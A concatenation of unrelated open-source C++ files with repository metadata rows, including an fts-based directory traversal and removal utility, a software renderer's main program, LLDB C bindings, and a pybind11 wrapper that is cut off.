typedef std::function<bool(FTSENT*)> TraverseCallbackFunction;
Common::Error TraverseDirectoryTree(const Dir& dir, TraverseCallbackFunction traverseCallback, bool depthFirst = true)
{
std::vector<char> buffer = Common::WideStringToCStr(dir.GetPath());
int ret = 0;
FTS* ftsp = NULL;
FTSENT* curr;
char *files[] = { &buffer.front(), NULL };
// FTS_NOCHDIR - Avoid changing cwd, which could cause unexpected behavior
// in multithreaded programs
// FTS_PHYSICAL - Don't follow symlinks. Prevents deletion of files outside
// of the specified directory
// FTS_XDEV - Don't cross filesystem boundaries
ftsp = fts_open(files, FTS_NOCHDIR | FTS_PHYSICAL | FTS_XDEV, NULL);
if (!ftsp)
{
fprintf(stderr, "%s: fts_open failed: %s\n", &buffer.front(), strerror(errno));
ret = -1;
goto finish;
}
while ((curr = fts_read(ftsp)))
{
switch (curr->fts_info)
{
case FTS_NS:
case FTS_DNR:
case FTS_ERR:
DEBUG(
Common::MODULE_COMMON,
std::wstring(L"fts_read error: ")
+ L" " + Common::StringToWideString(curr->fts_accpath)
+ L" " + Common::StringToWideString(std::string(strerror(curr->fts_errno)))
);
break;
case FTS_DC:
case FTS_DOT:
case FTS_NSOK:
// Not reached unless FTS_LOGICAL, FTS_SEEDOT, or FTS_NOSTAT were
// passed to fts_open()
break;
case FTS_F:
case FTS_SL:
case FTS_SLNONE:
case FTS_DEFAULT:
case FTS_D:
if (depthFirst)
{
break;
}
if (!traverseCallback(curr))
{
fts_set(ftsp, curr, FTS_SKIP);
}
break;
case FTS_DP:
if (!depthFirst)
{
break;
}
if (!traverseCallback(curr))
{
fts_set(ftsp, curr, FTS_SKIP);
}
break;
}
}
finish:
if (ftsp)
{
// TODO: use RAII
fts_close(ftsp);
}
if (errno != 0)
{
return MAKE_ERROR(MAKE_MODULE_ERROR(Common::MODULE_OS, errno), Common::StringToWideString(strerror(errno)));
}
return Common::Success;
}
bool EntryCounter(std::size_t& count, FTSENT* /*unused*/)
{
++count;
return true;
}
bool RemoveEntry(std::size_t totalCount, std::size_t& processed, ProgressCallback progress, FTSENT* curr)
{
if (remove(curr->fts_accpath) < 0)
{
DEBUG(Common::MODULE_COMMON, L"Failed to remove: " + Common::StringToWideString(curr->fts_accpath));
return true;
}
if (progress)
{
progress(totalCount, ++processed);
}
DEBUG(Common::MODULE_COMMON, L"Removed: " + Common::StringToWideString(curr->fts_accpath));
return true;
}
bool ProcessEntry(WalkCallback callback, FTSENT* curr)
{
FileObjectType fileType = FILE_OTHER;
if (curr->fts_info == FTS_F)
{
fileType = FILE_REGULAR;
}
else if (curr->fts_info == FTS_D || curr->fts_info == FTS_DC || curr->fts_info == FTS_DP)
{
fileType = FILE_DIRECTORY;
}
return callback(curr->fts_accpath, fileType);
}
} // namespace
Dir::Dir(const std::wstring& path)
: Info(path)
{
}
std::wstring Dir::GetPath() const
{
return Info.GetPath();
}
FileInfo Dir::GetFileInfo() const
{
return Info;
}
Common::Error RemoveDirRecursive(const Dir& dir, ProgressCallback progress)
{
DEBUG(Common::MODULE_COMMON, std::wstring(L"RemoveDirRecursive: ") + dir.GetPath());
const bool withProgress = static_cast<bool>(progress);
std::size_t entries = 0;
RETURN_IF_FAILED(TraverseDirectoryTree(dir, std::bind(EntryCounter, std::ref(entries), std::placeholders::_1)));
std::wstring arg = Common::ToString<unsigned, std::wstring>(entries);
DEBUG(Common::MODULE_COMMON, L"Total sub entries:" + arg);
std::size_t processed = 0;
return TraverseDirectoryTree(dir, std::bind(RemoveEntry, entries, std::ref(processed), progress, std::placeholders::_1));
}
int CountFiles(const Dir& dir)
{
std::size_t entries = 0;
TraverseDirectoryTree(dir, std::bind(EntryCounter, std::ref(entries), std::placeholders::_1));
return entries;
}
Common::Error CreateDir(const std::wstring& path)
{
DEBUG(Common::MODULE_COMMON, L"CreateDir: " + path);
mkdir(Common::WideStringToString(path).c_str(), 0755);
return Common::Success;
}
Common::Error WalkDir(const Dir& dir, WalkCallback callback, bool depthFirst)
{
return TraverseDirectoryTree(dir, std::bind(ProcessEntry, callback, std::placeholders::_1), depthFirst);
}
} // namespace Filesys
| 27.3 | 125 | 0.596298 | vlanse |
6bd6aaca58fb1c46b211a7d95f3d98388988dc91 | 3,400 | cpp | C++ | src/main.cpp | mdarocha/software-renderer | e90a24c67dc7a0b71b69b019f1a71e17d6b9f7c1 | [
"MIT"
] | null | null | null | src/main.cpp | mdarocha/software-renderer | e90a24c67dc7a0b71b69b019f1a71e17d6b9f7c1 | [
"MIT"
] | null | null | null | src/main.cpp | mdarocha/software-renderer | e90a24c67dc7a0b71b69b019f1a71e17d6b9f7c1 | [
"MIT"
] | null | null | null | #include <iostream>
#include <cstdio>
#include <cmath>
#include "ppm_image.h"
#include "realtime_target.h"
#include "obj_model.h"
#include "drawing_utils.h"
#include "camera.h"
#include "matrix.h"
#include "shader/gouraud.h"
#include "fallback_image.h"
void render_to_image(OBJModel &model, std::string &output, int width, int height);
void render_realtime(OBJModel &model, int width, int height);
int main(int argc, char *argv[]) {
std::string model_filename;
std::string output_filename("o.ppm");
int width, height;
width = height = 800;
bool realtime = false;
switch(argc) {
default:
std::cout << "Usage: softrender model.obj [output.ppm] [--realtime] [width] [height]" << std::endl;
return 1;
case 5:
std::sscanf(argv[4], "%d", &height);
case 4:
std::sscanf(argv[3], "%d", &width);
case 3:
if(std::string(argv[2]) == "--realtime")
realtime = true;
else
output_filename = argv[2];
case 2:
model_filename = argv[1];
}
OBJModel model(model_filename);
model.normalize_model_scale();
if(realtime)
render_realtime(model, width, height);
else
render_to_image(model, output_filename, width, height);
return 0;
}
void render_to_image(OBJModel &model, std::string &output, int width, int height) {
PPMImage image(width, height);
Camera camera(width, height, Vector3f(0,1,0.1), 1.0f);
camera.lookat(Vector3f(0,0,0));
auto diffuse = PPMImage::load(fallback_ppm, fallback_ppm_len);
GouraudShader shader(camera.get_model(), camera.get_viewport(), camera.get_projection(), Vector3f(1,1,1), diffuse);
std::cout << "Rendering image with resolution " << width << "x" << height << std::endl;
DrawingUtils::rasterize(model, image, camera, shader);
image.write_to_file(output);
}
Vector3f spherical(double hor, double ver, double dist) {
Vector3f pos;
pos.x = dist * sin(hor) * sin(ver);
pos.y = dist * cos(ver);
pos.z = dist * cos(hor) * sin(ver);
return pos;
}
void render_realtime(OBJModel &model, int width, int height) {
double hor = 45, ver = 45, dist = 1;
constexpr double move = 0.05;
Camera camera(width, height, spherical(hor, ver, dist), 1.0f);
camera.lookat(Vector3f(0,0,0));
auto diffuse = PPMImage::load(fallback_ppm, fallback_ppm_len);
GouraudShader shader(camera.get_model(), camera.get_viewport(), camera.get_projection(), Vector3f(1,1,1), diffuse);
auto handler = [&](SDL_Event *event) {
if(event->type == SDL_KEYDOWN) {
switch(event->key.keysym.sym) {
case SDLK_LEFT:
hor -= move; break;
case SDLK_RIGHT:
hor += move; break;
case SDLK_UP:
ver += move; break;
case SDLK_DOWN:
ver -= move; break;
}
camera.position = spherical(hor, ver, dist);
camera.lookat(Vector3f(0,0,0));
shader.update_model(camera.get_model());
}
};
RealtimeTarget image_target(width, height, handler);
image_target.start();
while(image_target.is_running()) {
DrawingUtils::rasterize(model, image_target, camera, shader);
image_target.loop();
}
}
| 29.310345 | 119 | 0.600882 | mdarocha |
6be2ba1d34947017c11fac97e9db5553f5bac21f | 316 | hpp | C++ | Code/ObjectDatabase/Mod/MaterialManager.hpp | QuestionableM/Tile-Converter | 28e86e0e3f6df5872721a7903c5e8bc2e8e73dde | [
"MIT"
] | 2 | 2022-01-08T19:12:12.000Z | 2022-01-24T09:31:08.000Z | Code/ObjectDatabase/Mod/MaterialManager.hpp | QuestionableM/Tile-Converter | 28e86e0e3f6df5872721a7903c5e8bc2e8e73dde | [
"MIT"
] | null | null | null | Code/ObjectDatabase/Mod/MaterialManager.hpp | QuestionableM/Tile-Converter | 28e86e0e3f6df5872721a7903c5e8bc2e8e73dde | [
"MIT"
] | 1 | 2022-01-08T19:12:16.000Z | 2022-01-08T19:12:16.000Z | #pragma once
#include <unordered_map>
#include <string>
class MaterialManager
{
static std::unordered_map<std::wstring, std::wstring> MatStorage;
public:
static void Initialize();
static std::wstring GetMaterialW(const std::wstring& mat_name);
static std::string GetMaterialA(const std::wstring& mat_name);
}; | 22.571429 | 66 | 0.765823 | QuestionableM |
6be3ce9424a513ae5e03d0253dbff274f99bcc12 | 4,016 | hpp | C++ | include/roq/support_type.hpp | roq-trading/tradingapi | 13dbcec50eab53627bc29112ffe3cdd81acadda3 | [
"MIT"
] | 1 | 2018-03-27T15:43:57.000Z | 2018-03-27T15:43:57.000Z | include/roq/support_type.hpp | roq-trading/roq | 13dbcec50eab53627bc29112ffe3cdd81acadda3 | [
"MIT"
] | null | null | null | include/roq/support_type.hpp | roq-trading/roq | 13dbcec50eab53627bc29112ffe3cdd81acadda3 | [
"MIT"
] | null | null | null | /* Copyright (c) 2017-2022, Hans Erik Thrane */
/* !!! THIS FILE HAS BEEN AUTO-GENERATED !!! */
#pragma once
#include <fmt/format.h>
#include <cassert>
namespace roq {
//! Enumeration of support types
enum class SupportType : uint64_t {
UNDEFINED = 0x0,
REFERENCE_DATA = 0x1, //!< Reference data
MARKET_STATUS = 0x2, //!< Market status
TOP_OF_BOOK = 0x4, //!< Top of book
MARKET_BY_PRICE = 0x8, //!< Market by price
MARKET_BY_ORDER = 0x10, //!< Market by order
TRADE_SUMMARY = 0x20, //!< Trade summary
STATISTICS = 0x40, //!< Statistics
CREATE_ORDER = 0x10000, //!< Create order
MODIFY_ORDER = 0x20000, //!< Modify order
CANCEL_ORDER = 0x40000, //!< Cancel order
ORDER_ACK = 0x80000, //!< Order ack
ORDER = 0x100000, //!< Order
ORDER_STATE = 0x800000, //!< Order
TRADE = 0x200000, //!< Trade
POSITION = 0x400000, //!< Position
FUNDS = 0x10000000, //!< Funds
};
} // namespace roq
template <>
struct fmt::formatter<roq::SupportType> {
template <typename Context>
constexpr auto parse(Context &context) {
return std::begin(context);
}
template <typename Context>
auto format(roq::SupportType const &value, Context &context) {
using namespace std::literals;
#if __cplusplus >= 202002L
std::string_view name{[&]() {
switch (value) {
using enum roq::SupportType;
case UNDEFINED:
return "UNDEFINED"sv;
case REFERENCE_DATA:
return "REFERENCE_DATA"sv;
case MARKET_STATUS:
return "MARKET_STATUS"sv;
case TOP_OF_BOOK:
return "TOP_OF_BOOK"sv;
case MARKET_BY_PRICE:
return "MARKET_BY_PRICE"sv;
case MARKET_BY_ORDER:
return "MARKET_BY_ORDER"sv;
case TRADE_SUMMARY:
return "TRADE_SUMMARY"sv;
case STATISTICS:
return "STATISTICS"sv;
case CREATE_ORDER:
return "CREATE_ORDER"sv;
case MODIFY_ORDER:
return "MODIFY_ORDER"sv;
case CANCEL_ORDER:
return "CANCEL_ORDER"sv;
case ORDER_ACK:
return "ORDER_ACK"sv;
case ORDER:
return "ORDER"sv;
case ORDER_STATE:
return "ORDER_STATE"sv;
case TRADE:
return "TRADE"sv;
case POSITION:
return "POSITION"sv;
case FUNDS:
return "FUNDS"sv;
default:
assert(false);
}
return "<UNKNOWN>"sv;
}()};
#else
std::string_view name{[&]() {
switch (value) {
case roq::SupportType::UNDEFINED:
return "UNDEFINED"sv;
case roq::SupportType::REFERENCE_DATA:
return "REFERENCE_DATA"sv;
case roq::SupportType::MARKET_STATUS:
return "MARKET_STATUS"sv;
case roq::SupportType::TOP_OF_BOOK:
return "TOP_OF_BOOK"sv;
case roq::SupportType::MARKET_BY_PRICE:
return "MARKET_BY_PRICE"sv;
case roq::SupportType::MARKET_BY_ORDER:
return "MARKET_BY_ORDER"sv;
case roq::SupportType::TRADE_SUMMARY:
return "TRADE_SUMMARY"sv;
case roq::SupportType::STATISTICS:
return "STATISTICS"sv;
case roq::SupportType::CREATE_ORDER:
return "CREATE_ORDER"sv;
case roq::SupportType::MODIFY_ORDER:
return "MODIFY_ORDER"sv;
case roq::SupportType::CANCEL_ORDER:
return "CANCEL_ORDER"sv;
case roq::SupportType::ORDER_ACK:
return "ORDER_ACK"sv;
case roq::SupportType::ORDER:
return "ORDER"sv;
case roq::SupportType::ORDER_STATE:
return "ORDER_STATE"sv;
case roq::SupportType::TRADE:
return "TRADE"sv;
case roq::SupportType::POSITION:
return "POSITION"sv;
case roq::SupportType::FUNDS:
return "FUNDS"sv;
default:
assert(false);
}
return "<UNKNOWN>"sv;
}()};
#endif
return fmt::format_to(context.out(), "{}"sv, name);
}
};
| 29.970149 | 64 | 0.594871 | roq-trading |
6be618e507d7d6293f6b5c02daf1e5fc86a6f92d | 601 | cpp | C++ | ecs/src/v2/model/NovaDeleteKeypairResponse.cpp | yangzhaofeng/huaweicloud-sdk-cpp-v3 | 4f3caac5ba9a9b75b4e5fd61683d1c4d57ec1c23 | [
"Apache-2.0"
] | 5 | 2021-03-03T08:23:43.000Z | 2022-02-16T02:16:39.000Z | ecs/src/v2/model/NovaDeleteKeypairResponse.cpp | yangzhaofeng/huaweicloud-sdk-cpp-v3 | 4f3caac5ba9a9b75b4e5fd61683d1c4d57ec1c23 | [
"Apache-2.0"
] | null | null | null | ecs/src/v2/model/NovaDeleteKeypairResponse.cpp | yangzhaofeng/huaweicloud-sdk-cpp-v3 | 4f3caac5ba9a9b75b4e5fd61683d1c4d57ec1c23 | [
"Apache-2.0"
] | 7 | 2021-02-26T13:53:35.000Z | 2022-03-18T02:36:43.000Z |
#include "huaweicloud/ecs/v2/model/NovaDeleteKeypairResponse.h"
namespace HuaweiCloud {
namespace Sdk {
namespace Ecs {
namespace V2 {
namespace Model {
NovaDeleteKeypairResponse::NovaDeleteKeypairResponse()
{
}
NovaDeleteKeypairResponse::~NovaDeleteKeypairResponse() = default;
void NovaDeleteKeypairResponse::validate()
{
}
web::json::value NovaDeleteKeypairResponse::toJson() const
{
web::json::value val = web::json::value::object();
return val;
}
bool NovaDeleteKeypairResponse::fromJson(const web::json::value& val)
{
bool ok = true;
return ok;
}
}
}
}
}
}
| 12.787234 | 69 | 0.718802 | yangzhaofeng |
6be9dd97171a2aa486601635c8e8dda5b9ed1925 | 1,776 | hpp | C++ | components/esm/loadarmo.hpp | Bodillium/openmw | 5fdd264d0704e33b44b1ccf17ab4fb721f362e34 | [
"Unlicense"
] | null | null | null | components/esm/loadarmo.hpp | Bodillium/openmw | 5fdd264d0704e33b44b1ccf17ab4fb721f362e34 | [
"Unlicense"
] | null | null | null | components/esm/loadarmo.hpp | Bodillium/openmw | 5fdd264d0704e33b44b1ccf17ab4fb721f362e34 | [
"Unlicense"
] | null | null | null | #ifndef OPENMW_ESM_ARMO_H
#define OPENMW_ESM_ARMO_H
#include <vector>
#include <string>
namespace ESM
{
class ESMReader;
class ESMWriter;
enum PartReferenceType
{
PRT_Head = 0,
PRT_Hair = 1,
PRT_Neck = 2,
PRT_Cuirass = 3,
PRT_Groin = 4,
PRT_Skirt = 5,
PRT_RHand = 6,
PRT_LHand = 7,
PRT_RWrist = 8,
PRT_LWrist = 9,
PRT_Shield = 10,
PRT_RForearm = 11,
PRT_LForearm = 12,
PRT_RUpperarm = 13,
PRT_LUpperarm = 14,
PRT_RFoot = 15,
PRT_LFoot = 16,
PRT_RAnkle = 17,
PRT_LAnkle = 18,
PRT_RKnee = 19,
PRT_LKnee = 20,
PRT_RLeg = 21,
PRT_LLeg = 22,
PRT_RPauldron = 23,
PRT_LPauldron = 24,
PRT_Weapon = 25,
PRT_Tail = 26,
PRT_Count = 27
};
// Reference to body parts
struct PartReference
{
unsigned char mPart; // possible values [0, 26]
std::string mMale, mFemale;
};
// A list of references to body parts
struct PartReferenceList
{
std::vector<PartReference> mParts;
void load(ESMReader &esm);
void save(ESMWriter &esm) const;
};
struct Armor
{
static unsigned int sRecordId;
enum Type
{
Helmet = 0,
Cuirass = 1,
LPauldron = 2,
RPauldron = 3,
Greaves = 4,
Boots = 5,
LGauntlet = 6,
RGauntlet = 7,
Shield = 8,
LBracer = 9,
RBracer = 10
};
struct AODTstruct
{
int mType;
float mWeight;
int mValue, mHealth, mEnchant, mArmor;
};
AODTstruct mData;
PartReferenceList mParts;
std::string mId, mName, mModel, mIcon, mScript, mEnchant;
void load(ESMReader &esm);
void save(ESMWriter &esm) const;
void blank();
///< Set record to default state (does not touch the ID).
};
}
#endif
| 17.584158 | 61 | 0.595158 | Bodillium |
6beb0d9741fc27424f21b76c2d366be331157040 | 4,325 | cpp | C++ | src/adera/ShipResources.cpp | haennes/osp-magnum | 242958d71ab34a79250b9f426d97ab4dfdfc775f | [
"MIT"
] | null | null | null | src/adera/ShipResources.cpp | haennes/osp-magnum | 242958d71ab34a79250b9f426d97ab4dfdfc775f | [
"MIT"
] | null | null | null | src/adera/ShipResources.cpp | haennes/osp-magnum | 242958d71ab34a79250b9f426d97ab4dfdfc775f | [
"MIT"
] | null | null | null | /**
* Open Space Program
* Copyright © 2019-2021 Open Space Program Project
*
* MIT License
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include "ShipResources.h"
#include "osp/Active/ActiveScene.h"
#include "osp/Resource/PrototypePart.h"
using namespace osp;
using namespace osp::active;
using namespace adera::active::machines;
/* ShipResourceType */
double ShipResourceType::resource_volume(uint64_t quantity) const
{
double units = static_cast<double>(quantity) / std::pow(2.0, m_quanta);
return units * m_volume;
}
double ShipResourceType::resource_mass(uint64_t quantity) const
{
double units = static_cast<double>(quantity) / std::pow(2.0, m_quanta);
return units * m_mass;
}
uint64_t ShipResourceType::resource_capacity(double volume) const
{
double units = volume / m_volume;
double quantaPerUnit = std::pow(2.0, m_quanta);
return static_cast<uint64_t>(units * quantaPerUnit);
}
uint64_t ShipResourceType::resource_quantity(double mass) const
{
double units = mass / m_mass;
double quantaPerUnit = std::pow(2.0, m_quanta);
return static_cast<uint64_t>(units * quantaPerUnit);
}
/* MachineContainer */
void MachineContainer::propagate_output(WireOutput* output)
{
}
WireInput* MachineContainer::request_input(WireInPort port)
{
return nullptr;
}
WireOutput* MachineContainer::request_output(WireOutPort port)
{
return nullptr;
}
std::vector<WireInput*> MachineContainer::existing_inputs()
{
return m_inputs;
}
std::vector<WireOutput*> MachineContainer::existing_outputs()
{
return m_outputs;
}
uint64_t MachineContainer::request_contents(uint64_t quantity)
{
if (quantity > m_contents.m_quantity)
{
return std::exchange(m_contents.m_quantity, 0);
}
m_contents.m_quantity -= quantity;
return quantity;
}
/* SysMachineContainer */
SysMachineContainer::SysMachineContainer(ActiveScene& rScene)
: SysMachine<SysMachineContainer, MachineContainer>(rScene)
, m_updateContainers(rScene.get_update_order(), "mach_container", "", "mach_rocket",
[this](ActiveScene& rScene) { this->update_containers(rScene); })
{ }
void SysMachineContainer::update_containers(ActiveScene& rScene)
{
auto view = rScene.get_registry().view<MachineContainer>();
for (ActiveEnt ent : view)
{
auto& container = view.get<MachineContainer>(ent);
// Do something useful here... or not
}
}
Machine& SysMachineContainer::instantiate(ActiveEnt ent,
PrototypeMachine config, BlueprintMachine settings)
{
float capacity = std::get<double>(config.m_config["capacity"]);
ShipResource resource{};
if (auto resItr = settings.m_config.find("resourcename");
resItr != settings.m_config.end())
{
std::string_view resName = std::get<std::string>(resItr->second);
Path resPath = decompose_path(resName);
Package& pkg = m_scene.get_application().debug_find_package(resPath.prefix);
resource.m_type = pkg.get<ShipResourceType>(resPath.identifier);
resource.m_quantity = resource.m_type->resource_capacity(capacity);
}
return m_scene.reg_emplace<MachineContainer>(ent, capacity, resource);
}
Machine& SysMachineContainer::get(ActiveEnt ent)
{
return m_scene.reg_get<MachineContainer>(ent);
}
| 30.244755 | 88 | 0.734335 | haennes |
6bebe0f00f8e89c11eca50d3c436266227bfdbfc | 676 | cc | C++ | test/stack.cc | leeliliang/cocoyaxi | 0117286d13fd9c97053b665016c7bf2190bab441 | [
"MIT"
] | 210 | 2022-01-05T06:40:17.000Z | 2022-03-31T18:44:44.000Z | test/stack.cc | leeliliang/cocoyaxi | 0117286d13fd9c97053b665016c7bf2190bab441 | [
"MIT"
] | 13 | 2022-01-07T03:21:44.000Z | 2022-03-03T00:46:39.000Z | test/stack.cc | leeliliang/cocoyaxi | 0117286d13fd9c97053b665016c7bf2190bab441 | [
"MIT"
] | 28 | 2022-01-11T08:13:42.000Z | 2022-03-30T02:55:03.000Z | #include "co/log.h"
#include "co/thread.h"
#include "co/time.h"
#include "co/co.h"
DEF_bool(t, false, "if true, run test in thread");
DEF_bool(m, false, "if true, run test in main thread");
DEF_bool(check, false, "if true, run CHECK test");
void a() {
char* p = 0;
if (FLG_check) {
CHECK_EQ(1 + 1, 3);
} else {
*p = 'c';
}
}
void b() {
a();
}
void c() {
b();
}
int main(int argc, char** argv) {
flag::init(argc, argv);
if (FLG_m) {
c();
} else if (FLG_t) {
Thread(c).detach();
} else {
go(c);
}
while (1) sleep::sec(1024);
return 0;
}
| 16.095238 | 56 | 0.470414 | leeliliang |
6bee2e0544918db2846467ec14f201e34f03de9c | 426 | cpp | C++ | test/nim_test/nim_play.cpp | mascaretti/mcts | 08916e494a3689622b809452fd47f1c841d3a40b | [
"MIT"
] | 3 | 2019-04-02T23:21:49.000Z | 2021-06-02T12:33:23.000Z | test/nim_test/nim_play.cpp | mascaretti/mcts | 08916e494a3689622b809452fd47f1c841d3a40b | [
"MIT"
] | 1 | 2018-11-12T17:57:28.000Z | 2018-11-12T17:57:28.000Z | test/nim_test/nim_play.cpp | mascaretti/mcts | 08916e494a3689622b809452fd47f1c841d3a40b | [
"MIT"
] | 1 | 2020-09-28T02:46:11.000Z | 2020-09-28T02:46:11.000Z | #include "nim.hpp"
int main(int argc, char const *argv[])
{
game::Nim::NimGame<> test_game;
do {
std::cout << "Play a move" << '\n';
std::cout << "Insert pile: ";
unsigned int pile;
std::cin >> pile;
std::cout << "Insert number: ";
unsigned int number;
std::cin >> number;
test_game.apply_action({pile, number});
test_game.print();
} while (test_game.get_terminal_status() == false);
return 0;
}
| 16.384615 | 52 | 0.615023 | mascaretti |
6bee5b993ad513d43fac9422d37243e40873330f | 1,808 | hpp | C++ | ql/pricingengines/genericmodelengine.hpp | haozhangphd/QuantLib-noBoost | ddded069868161099843c04840454f00816113ad | [
"BSD-3-Clause"
] | 76 | 2017-06-28T21:24:38.000Z | 2021-12-19T18:07:37.000Z | ql/pricingengines/genericmodelengine.hpp | haozhangphd/QuantLib-noBoost | ddded069868161099843c04840454f00816113ad | [
"BSD-3-Clause"
] | 2 | 2017-07-05T09:20:13.000Z | 2019-10-31T12:06:51.000Z | ql/pricingengines/genericmodelengine.hpp | haozhangphd/QuantLib-noBoost | ddded069868161099843c04840454f00816113ad | [
"BSD-3-Clause"
] | 34 | 2017-07-02T14:49:21.000Z | 2021-11-26T15:32:04.000Z | /* -*- mode: c++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/*
Copyright (C) 2002, 2003 Ferdinando Ametrano
Copyright (C) 2009 StatPro Italia srl
This file is part of QuantLib, a free-software/open-source library
for financial quantitative analysts and developers - http://quantlib.org/
QuantLib is free software: you can redistribute it and/or modify it
under the terms of the QuantLib license. You should have received a
copy of the license along with this program; if not, please email
<quantlib-dev@lists.sf.net>. The license is also available online at
<http://quantlib.org/license.shtml>.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the license for more details.
*/
/*! \file genericmodelengine.hpp
\brief Generic option engine based on a model
*/
#ifndef quantlib_generic_model_engine_hpp
#define quantlib_generic_model_engine_hpp
#include <ql/pricingengine.hpp>
#include <ql/handle.hpp>
namespace QuantLib {
//! Base class for some pricing engine on a particular model
/*! Derived engines only need to implement the <tt>calculate()</tt>
method
*/
template<class ModelType, class ArgumentsType, class ResultsType>
class GenericModelEngine
: public GenericEngine<ArgumentsType, ResultsType> {
public:
GenericModelEngine(const Handle<ModelType>& model = Handle<ModelType>())
: model_(model) {
this->registerWith(model_);
}
GenericModelEngine(const std::shared_ptr<ModelType>& model)
: model_(model) {
this->registerWith(model_);
}
protected:
Handle<ModelType> model_;
};
}
#endif
| 31.172414 | 80 | 0.708518 | haozhangphd |
6beeb011c6f53dcdffa35eb4f6d7c6c9c7def6f6 | 2,904 | cpp | C++ | src/lldb/Bindings/SBInstructionListBinding.cpp | atouchet/lldb-sys.rs | 22e212a86b0d4fc085e2ecdc34a286cf4c91a1a5 | [
"Apache-2.0",
"MIT"
] | 13 | 2016-06-29T17:14:24.000Z | 2022-01-14T15:50:05.000Z | src/lldb/Bindings/SBInstructionListBinding.cpp | atouchet/lldb-sys.rs | 22e212a86b0d4fc085e2ecdc34a286cf4c91a1a5 | [
"Apache-2.0",
"MIT"
] | 13 | 2016-07-16T16:33:42.000Z | 2021-11-14T14:56:38.000Z | src/lldb/Bindings/SBInstructionListBinding.cpp | atouchet/lldb-sys.rs | 22e212a86b0d4fc085e2ecdc34a286cf4c91a1a5 | [
"Apache-2.0",
"MIT"
] | 7 | 2016-09-01T16:17:34.000Z | 2021-10-04T22:42:16.000Z | //===-- SBInstructionListBinding.cpp ----------------------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "lldb/API/LLDB.h"
#include "lldb/Bindings/LLDBBinding.h"
using namespace lldb;
#ifdef __cplusplus
extern "C" {
#endif
SBInstructionListRef CreateSBInstructionList() {
return reinterpret_cast<SBInstructionListRef>(new SBInstructionList());
}
SBInstructionListRef CloneSBInstructionList(SBInstructionListRef instance) {
return reinterpret_cast<SBInstructionListRef>(
new SBInstructionList(*reinterpret_cast<SBInstructionList *>(instance)));
}
void DisposeSBInstructionList(SBInstructionListRef instance) {
delete reinterpret_cast<SBInstructionList *>(instance);
}
bool SBInstructionListIsValid(SBInstructionListRef instance) {
SBInstructionList *unwrapped =
reinterpret_cast<SBInstructionList *>(instance);
return unwrapped->IsValid();
}
size_t SBInstructionListGetSize(SBInstructionListRef instance) {
SBInstructionList *unwrapped =
reinterpret_cast<SBInstructionList *>(instance);
return unwrapped->GetSize();
}
SBInstructionRef
SBInstructionListGetInstructionAtIndex(SBInstructionListRef instance,
uint32_t idx) {
SBInstructionList *unwrapped =
reinterpret_cast<SBInstructionList *>(instance);
return reinterpret_cast<SBInstructionRef>(
new SBInstruction(unwrapped->GetInstructionAtIndex(idx)));
}
void SBInstructionListClear(SBInstructionListRef instance) {
SBInstructionList *unwrapped =
reinterpret_cast<SBInstructionList *>(instance);
unwrapped->Clear();
}
void SBInstructionListAppendInstruction(SBInstructionListRef instance,
SBInstructionRef inst) {
SBInstructionList *unwrapped =
reinterpret_cast<SBInstructionList *>(instance);
unwrapped->AppendInstruction(*reinterpret_cast<SBInstruction *>(inst));
}
void SBInstructionListPrint(SBInstructionListRef instance, FILE *out) {
SBInstructionList *unwrapped =
reinterpret_cast<SBInstructionList *>(instance);
unwrapped->Print(out);
}
bool SBInstructionListGetDescription(SBInstructionListRef instance,
SBStreamRef description) {
SBInstructionList *unwrapped =
reinterpret_cast<SBInstructionList *>(instance);
return unwrapped->GetDescription(*reinterpret_cast<SBStream *>(description));
}
bool SBInstructionListDumpEmulationForAllInstructions(
SBInstructionListRef instance, const char *triple) {
SBInstructionList *unwrapped =
reinterpret_cast<SBInstructionList *>(instance);
return unwrapped->DumpEmulationForAllInstructions(triple);
}
#ifdef __cplusplus
}
#endif
| 32.629213 | 80 | 0.724862 | atouchet |
6bf0581d46f5d769bb2cf7de7750bf4f74df9604 | 1,244 | cpp | C++ | dynamic/wrappers/pde/AbstractBoundaryCondition3.cppwg.cpp | jmsgrogan/PyChaste | 48a9863d2c941c71e47ecb72e917b477ba5c1413 | [
"FTL"
] | 6 | 2017-02-04T16:10:53.000Z | 2021-07-01T08:03:16.000Z | dynamic/wrappers/pde/AbstractBoundaryCondition3.cppwg.cpp | jmsgrogan/PyChaste | 48a9863d2c941c71e47ecb72e917b477ba5c1413 | [
"FTL"
] | 6 | 2017-06-22T08:50:41.000Z | 2019-12-15T20:17:29.000Z | dynamic/wrappers/pde/AbstractBoundaryCondition3.cppwg.cpp | jmsgrogan/PyChaste | 48a9863d2c941c71e47ecb72e917b477ba5c1413 | [
"FTL"
] | 3 | 2017-05-15T21:33:58.000Z | 2019-10-27T21:43:07.000Z | #include <pybind11/pybind11.h>
#include <pybind11/stl.h>
#include <set>
#include <vector>
#include <string>
#include <map>
#include "SmartPointers.hpp"
#include "UblasIncludes.hpp"
#include "AbstractBoundaryCondition.hpp"
#include "AbstractBoundaryCondition3.cppwg.hpp"
namespace py = pybind11;
typedef AbstractBoundaryCondition<3 > AbstractBoundaryCondition3;
PYBIND11_DECLARE_HOLDER_TYPE(T, boost::shared_ptr<T>);
class AbstractBoundaryCondition3_Overloads : public AbstractBoundaryCondition3{
public:
